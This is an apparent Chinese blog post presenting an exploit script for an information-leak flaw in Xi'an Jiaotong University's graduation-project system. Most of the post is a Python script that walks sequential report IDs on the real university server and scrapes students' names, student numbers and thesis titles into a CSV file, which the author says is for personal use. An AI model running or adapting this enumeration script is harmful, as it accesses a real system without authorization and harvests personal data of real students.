西安交通大学毕设系统信息泄露exp

毕设系统看起来年久失修，像是上世纪的网站，必然存在漏洞。

开题报告或者任务书界面抓取通信接口即可发现问题所在。

以下exp存在本地一个hack3.csv里面，自用。

import requests
from lxml import etree
import re
import pandas as pd 
import time
def get_information(num,bbb):
	url = "http://pts.xjtu.edu.cn:8080/Report/ViewRenWu.aspx?ReportNo="+str(num)

	querystring = {"ReportNo":"2"}

	headers = {
	    'cache-control': "no-cache",
	    'postman-token': "0cfe8f51-b9eb-58b7-113a-1215444bcfad"
	    }

	response = requests.request("GET", url, headers=headers)

	html = etree.HTML(response.text)
	tittle = html.xpath('/html/body/form/table/tr[3]/td/text()')
	name = html.xpath('/html/body/form/table/tr[4]/td/text()')
	if len(name) == 1:
		print('---')
		bbb = bbb-1
		if(bbb<=0):
			return 0,0,0,0
		return 0,1,0,bbb
	bbb = 10
	number = re.findall(r'\d+',name[1])
	user_name = name[1].split('\xa0')[0]
	print(user_name,number[0],tittle[1])
	time.sleep(1)
	return user_name,number[0],tittle[1],bbb
	#print()
if __name__ == '__main__':
	bbb = 10
	#pd.DataFrame(np_data, columns = ['year', 'month', 'day'])
	#get_information(2222222)		
	ans = []

	i=1925
	while 1:
		i=i+1
		user_name,number,tittle,bbb = get_information(i,bbb)
		if number == 0:
			break
		elif number == 1:
			continue
		ans.append([user_name,number,tittle.replace('\u2022','')])
		if i%10 == 0:
			save = pd.DataFrame(ans, columns = ['name', 'number', 'study']) 
			save.to_csv('hack3.csv',encoding = 'utf_8_sig') 
	print(ans)

Donate